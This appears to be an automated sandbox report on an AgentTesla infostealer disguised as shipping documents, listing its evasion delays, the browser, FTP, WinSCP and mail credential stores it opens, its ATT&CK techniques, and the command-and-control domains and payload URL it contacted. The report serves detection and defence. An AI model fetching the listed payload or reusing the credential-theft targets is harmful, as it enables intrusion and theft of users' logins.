Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 599014	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 598249	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 597921	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 597374	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 597046	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 596499	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 596390	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 596171	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 595948	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 595718	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 595499	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 595390	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 595279	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 595171	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 594843	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 594624	Jump to behavior

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	File opened: C:\Users\user\AppData\Local\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: Documenti di spedizione.bat.exe, 00000004.00000002.3249854436.00000000056BF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@Oo
Source: Documenti di spedizione.bat.exe, 00000004.00000002.3249854436.00000000056EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	API call chain: ExitProcess graph end node			graph_0-4889
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	API call chain: ExitProcess graph end node			graph_0-4896

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

Code function: 0_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

0_2_10001A5D

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

Process created: C:\Users\user\Desktop\Documenti di spedizione.bat.exe "C:\Users\user\Desktop\Documenti di spedizione.bat.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Queries volume information: C:\Users\user\Desktop\Documenti di spedizione.bat.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

Code function: 0_2_00405F19 GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

0_2_00405F19

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 00000004.00000002.3268012189.0000000035D3C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3268012189.0000000035D11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Documenti di spedizione.bat.exe PID: 6360, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 00000004.00000002.3268012189.0000000035D11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Documenti di spedizione.bat.exe PID: 6360, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 00000004.00000002.3268012189.0000000035D3C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3268012189.0000000035D11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Documenti di spedizione.bat.exe PID: 6360, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	4 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	1 Credentials in Registry	226 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	11 Process Injection	2 Obfuscated Files or Information	Security Account Manager	311 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	141 Virtualization/Sandbox Evasion	Distributed Component Object Model	1 Clipboard Data	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	141 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Documenti di spedizione.bat.exe	15%	Virustotal		Browse
Documenti di spedizione.bat.exe	13%	ReversingLabs
Documenti di spedizione.bat.exe	100%	Avira	HEUR/AGEN.1338492
Documenti di spedizione.bat.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
api.ipify.org	0%	Virustotal	Browse
concaribe.com	3%	Virustotal	Browse
ftp.concaribe.com	6%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://api.ipify.org/	0%	URL Reputation	safe
https://api.ipify.org	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_Error	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
https://api.ipify.org/t	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	104.26.13.205	true	false	0%, Virustotal, Browse	unknown
concaribe.com	192.185.13.234	true	true	3%, Virustotal, Browse	unknown
ftp.concaribe.com	unknown	unknown	true	6%, Virustotal, Browse	unknown
171.39.242.20.in-addr.arpa	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false	URL Reputation: safe	unknown
http://84.38.129.16/rNWbaMk175.bin	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.ipify.org	Documenti di spedizione.bat.exe, 00000004.00000002.3268012189.0000000035CC1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ftp.concaribe.com	Documenti di spedizione.bat.exe, 00000004.00000002.3268012189.0000000035D3C000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://nsis.sf.net/NSIS_Error	Documenti di spedizione.bat.exe	false	URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	Documenti di spedizione.bat.exe	false	URL Reputation: safe	unknown
http://concaribe.com	Documenti di spedizione.bat.exe, 00000004.00000002.3268012189.0000000035D3C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.ipify.org/t	Documenti di spedizione.bat.exe, 00000004.00000002.3268012189.0000000035CC1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Documenti di spedizione.bat.exe, 00000004.00000002.3268012189.0000000035CC1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://84.38.129.16/rNWbaMk175.bini	Documenti di spedizione.bat.exe, 00000004.00000002.3249854436.00000000056D3000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.26.13.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
192.185.13.234	concaribe.com	United States	46606	UNIFIEDLAYER-AS-1US	true
84.38.129.16	unknown	Latvia	203557	DATACLUB-NL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1538406
Start date and time:	2024-10-21 08:23:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Documenti di spedizione.bat.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/18@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 182 Number of non-executed functions: 72
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:25:14	API Interceptor	392x Sleep call for process: Documenti di spedizione.bat.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.13.205	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	Prismifyr-Install.exe	Get hash	malicious	Node Stealer	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	api.ipify.org/
192.185.13.234	draft bl_pdf.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	concaribe.com/wp-includes/assets/GkRyQpLAQhPD144.bin

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	d600758023374f78d58acafbcaf94af66ad203b28e22a.exe	Get hash	malicious	Quasar	Browse	172.67.74.152
	RFQ_PO-GGA7765JK09_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	104.26.12.205
	mbbkel3.cmd	Get hash	malicious	Unknown	Browse	104.26.13.205
	570ZenR882.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	sgc0e7HpH5.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	uHaQ34KPq5.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	wOP5sowoN1.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	570ZenR882.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	oD0N44Ka53.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	sgc0e7HpH5.exe	Get hash	malicious	Unknown	Browse	104.26.12.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	#U304a#U898b#U7a4d#U308a#U4f9d#U983c.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	RFQ-KTE-07102024.pdf.scr	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	https://cambridge.pl/testy-poziomujace	Get hash	malicious	Unknown	Browse	104.22.58.91
	http://sustainability-bunnings.com	Get hash	malicious	Unknown	Browse	104.18.43.2
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	https://app.creatopy.com/share/d/qvnqyxdo8o7m	Get hash	malicious	Unknown	Browse	104.17.223.152
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
UNIFIEDLAYER-AS-1US	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	162.240.133.181
	arm4.elf	Get hash	malicious	Unknown	Browse	74.91.244.57
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	98.131.252.189
	https://izachw.net/log.html	Get hash	malicious	HTMLPhisher	Browse	162.241.87.207
	https://www.marketbeat.com/instant-alerts/nasdaq-meta-initiated-coverage-2024-10-11/	Get hash	malicious	Unknown	Browse	162.241.152.127
	https://hermiklosfmer.invoicinglawyer.com/95jEN/	Get hash	malicious	Unknown	Browse	69.49.230.198
	https://www.google.com.sg/url?q=p8v7jruqDC0s&rct=p8v7jruqDC0s&sa=t&esrc=p8v7jruqDC0s&source=&cd=p8v7jruqDC0s&uact=&url=amp%2Famandotuvoz.org/service/jkbhwfdhjkng/frederic.delesalle@treezor.com	Get hash	malicious	HTMLPhisher	Browse	192.185.85.251
	Revised Agreement-59176786.pdf	Get hash	malicious	Captcha Phish	Browse	173.254.24.56
	https://www.cognitoforms.com/f/Bj0I4KTKbkCO-wVp9VSRWQ/1	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	67.20.76.226
	https://njanimallaw.com/divorce-family-law/	Get hash	malicious	Unknown	Browse	162.241.217.237
DATACLUB-NL	PO-94858.exe	Get hash	malicious	Snake Keylogger	Browse	185.29.11.116
	PO-94858.exe	Get hash	malicious	Snake Keylogger	Browse	185.29.11.116
	Order 10172024.bat.exe	Get hash	malicious	AgentTesla	Browse	185.29.11.116
	Order 10172024.bat.exe	Get hash	malicious	AgentTesla	Browse	185.29.11.116
	na.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	185.29.11.111
	Upit 220062.xls	Get hash	malicious	Remcos	Browse	185.29.11.111
	1njpP9QcUg.rtf	Get hash	malicious	Unknown	Browse	185.29.11.107
	yYk4nXhHaA.doc	Get hash	malicious	Unknown	Browse	185.29.11.107
	na.rtf	Get hash	malicious	Remcos	Browse	185.29.11.107
	Shipping documents 000309498585956000797900.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	84.38.133.140

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	RFQ-KTE-07102024.pdf.scr	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.26.13.205
	rRFQ24201007_pdf.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.26.13.205
	http://heks.egrowbrands.com/lopsa/67057a2256a25_SwiftKey.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	http://lide.omernisar.com/lopsa/66daf6d8ac980_PeakSports.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	SecuriteInfo.com.Win64.MalwareX-gen.7613.15918.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	SecuriteInfo.com.Win64.MalwareX-gen.7443.30781.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	SecuriteInfo.com.Win64.MalwareX-gen.7613.15918.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	SecuriteInfo.com.Win64.MalwareX-gen.7443.30781.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	SecuriteInfo.com.Win64.DropperX-gen.18606.18356.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	SecuriteInfo.com.Win64.DropperX-gen.5372.31408.exe	Get hash	malicious	Unknown	Browse	104.26.13.205

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll	DHL AWB - COMMERCIAL INVOICE AND BL.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Shipping Documents.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	Oogoninia.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Oogoninia.exe	Get hash	malicious	GuLoader	Browse
	rStopfodringer.exe	Get hash	malicious	FormBook, GuLoader	Browse
	rStopfodringer.exe	Get hash	malicious	GuLoader	Browse
	Transferencia 10-7-2024.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Transferencia 10-7-2024.exe	Get hash	malicious	GuLoader	Browse
	PEDIDO-144848.exe	Get hash	malicious	FormBook, GuLoader	Browse
	PEDIDO-144848.exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\ProgramData\ankomstperrons.ini

Download File

Process:	C:\Users\user\Desktop\Documenti di spedizione.bat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	3.9726590202682766
Encrypted:	false
SSDEEP:	3:guTWyXRAK4vn:TzRAKi
MD5:	276D6E1D94791E4BC828A3B5F04A73EA
SHA1:	4665FD1D7598D3D751B5232BBB0859123D79A3BE
SHA-256:	812A9FCAACC7A28EBA4FA5EDB16AE49DD9BBFECFC112E5957C984BC4A50F7304
SHA-512:	F8A6F577DE29F60997EAB5F032C6CAF6C2565C8E018EDDD88900DFF17062CCA7D2B6BA30844F8A7A0DB4759056481F6C1D290C99378E8C540031B3C3E008E8DE
Malicious:	false
Reputation:	low
Preview:	[Tnkerne]..Stikkelen=Skjorteknappernes66..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Directdiscourse.Mrk

Download File

Process:	C:\Users\user\Desktop\Documenti di spedizione.bat.exe
File Type:	data
Category:	dropped
Size (bytes):	100910
Entropy (8bit):	4.6136825228526845
Encrypted:	false
SSDEEP:	1536:hUL2eODkXBisy4uA2vOqMkkETeiknT0fouNyGZkI67AxzVUT0f3Wz06Vf+:OyeKMB9y4h2SM0nuNnxP6Tg3W1+
MD5:	0CDD72DC4C52FC3E3679087A86475EC7
SHA1:	086083A90B709250B42C54ED9080ECECD5702610
SHA-256:	97DAB1CE75FCD484894E8B9C653ECB4609412ADBFD56CF4D352E4F8ED672963A
SHA-512:	F7A36729504B8D94C188AC80214993F7D780C7431DAA2163CA6BD304BFA57DCE5160B8AAF7DA422E4A53067349D8412EC70685A9BDE9C321E9ABE93C3AB701ED
Malicious:	false
Reputation:	low
Preview:	....W.88........................n..........o........#.U.........ooo..........?..(......W.....I.....................((((.c...oo........VVVV..!!.......p.............S......A..E...........}}}..............8..\|........................../.TTT...11.....\|.......R........y......YY...MM..........Q.?.nn....::.4.....KKKK................x.....,.............................b..XX...KK........;...................444.......f...44....BBB......T.pp.......................qq.....00...JJ........e......#.....!!!!!..s...F........---.3....,....//...................YYYY..................0....s...........1..aa......ii.....W....................yy.tt.VV..ee......zz.....................W..........[............................O.hh...............ee..................................7.......NN.`....G....b...Q.......Z.....ggggggg..qqqqq.....c..............i..L.........R....q...................Q..,,,,........{{{.............................\|\|\|\|...X...~~~~...........w...!..:...............hh.M.,,,,......:........(.jj

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Freakouts.mis

Download File

Process:	C:\Users\user\Desktop\Documenti di spedizione.bat.exe
File Type:	data
Category:	dropped
Size (bytes):	438667
Entropy (8bit):	1.2554285943940462
Encrypted:	false
